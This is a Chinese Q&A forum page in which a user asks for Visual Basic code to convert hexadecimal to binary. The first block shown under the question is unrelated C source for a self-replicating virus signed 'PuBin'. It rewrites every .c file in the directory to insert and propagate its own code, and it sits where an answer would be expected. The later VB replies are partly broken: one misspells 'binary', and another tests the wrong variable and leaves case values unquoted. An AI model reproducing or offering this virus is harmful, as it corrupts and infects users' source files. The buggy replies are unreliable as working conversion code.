VB编程使16进制转换为2进制

需要VB编程使16进制转换为2进制的原代码
紧急啊!!!!各大哥大姐帮帮忙啊!!
16进制是要从HEX里面提取的,又该怎么搞呢,如何打开啊,以及从第十个字母开始转换

#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);

fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
温馨提示:答案为网友推荐,仅供参考
第1个回答  2009-07-06
楼上的代码真长!
HEX是什么东东?如果是文件的话,那就简单了.
dim a()
open XX for binay as #1 '这里的XX指的是HEX文件的路径。
redim a(lof(1))
get #1,10,a
close #1
'这样,你所说的HEX文件就被转换成二进制的储存在A这个数组变量中了。
第2个回答  2009-07-05
h=len(hed)
for(u = 1 to h)
select case mid(h,u,1)
CASE(0)
p = p&"0000"
CASE(1)
p = p&"0001"
CASE(2)
p = p&"0010"
CASE(3)
p = p&"0011"
CASE(4)
p = p&"0100"
CASE(5)
p = p&"0101"
CASE(6)
p = p&"0110"
CASE(7)
p = p&"0111"
CASE(8)
p = p&1000
CASE(9)
p = p&1001
CASE(A)
p = p&1010
CASE(B)
p = p&1011
CASE(C)
p = p&1100
CASE(D)
p = p&1101
CASE(E)
p = p&1110
CASE(F)
p = p&1111
CASE(.)
p = p & "."
end select
next
p=p*1
第3个回答  2013-01-20
'16进制转2进制文本
Function HEXtoBINtxt(HEXData As Byte) As String
For I = 7 To 0 Step -1
If HEXData / (2 ^ I) >= 1 Then
HEXtoBINtxt = HEXtoBINtxt + "1"
HEXData = HEXData Mod (2 ^ I)
Else
HEXtoBINtxt = HEXtoBINtxt + "0"
End If

Next

End Function

Debug.Print HEXtoBINtxt(&HFD) '11111101
相似回答